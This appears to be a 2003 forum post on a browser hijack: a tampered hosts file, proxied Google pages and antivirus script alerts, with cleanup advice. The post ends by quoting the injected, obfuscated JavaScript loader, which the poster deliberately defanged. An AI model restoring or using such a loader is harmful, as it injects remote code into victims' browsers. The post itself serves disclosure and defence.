My first NAV log of the script attempt was 9/14/2003 11:12PM.After finding the url below, I looked in my NAV log and found the above date/time.
The only things I could find created or modified around that time was a modified hosts file like yours and an additional one in [windir], there was an empty hidden directory off \. Their timestamps are 9/14/2003 10:52PM, 20 minutes earlier.
I kept getting the script violation described in the Symantec URL below whenever I went to Google. Google appeared to be fine afterso I supect they were doing some sort of proxying.
Since you would likely hit one of the urls in the hosts file they could plant whatever they wanted.
Seems like it could be used like sobig, a sleeping giant, probably to perform a DDOS or spam.
Check out :
http://securityresponse.symantec.com/avcenter/venc/data/js.exception.exploit.html
Close IE, go to IE settings and clear your local cache. Get rid of the extra hosts file and rid your hosts file of the extraneous entries.
This bit of code was at the bottom of the proxied Google page. Munged a bit so no one gets bit.
<SCRIFT LANGUAGE='JabbaScript'>
var key = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz1029384756><#].:/";
functionallybad hJKm(_message) {
var bTG; var rcH = key.length/2; var _newString = ""; var lk;
for (var x = 0; x < _message.length; x++) { bTG = key.indexOf(_message.charAt(x));
if (bTG > rcH) { lk = bTG - rcH; _newString += key.charAt(34 - lk);} else {
if (key.indexOf(_message.charAt(x)) < 0) {_newString += _message.charAt(x);}
else {lk = rcH - bTG; _newString += key.charAt(34 + lk);}}} return (_newString); }
source=hJKm("ct]y7<o 6:o:=\"0oosaAAdFBIgIBEgBfEAsqtvtB0ovw\"DcAt]y7<oD");
document.dontwrite(source);
</scrift>
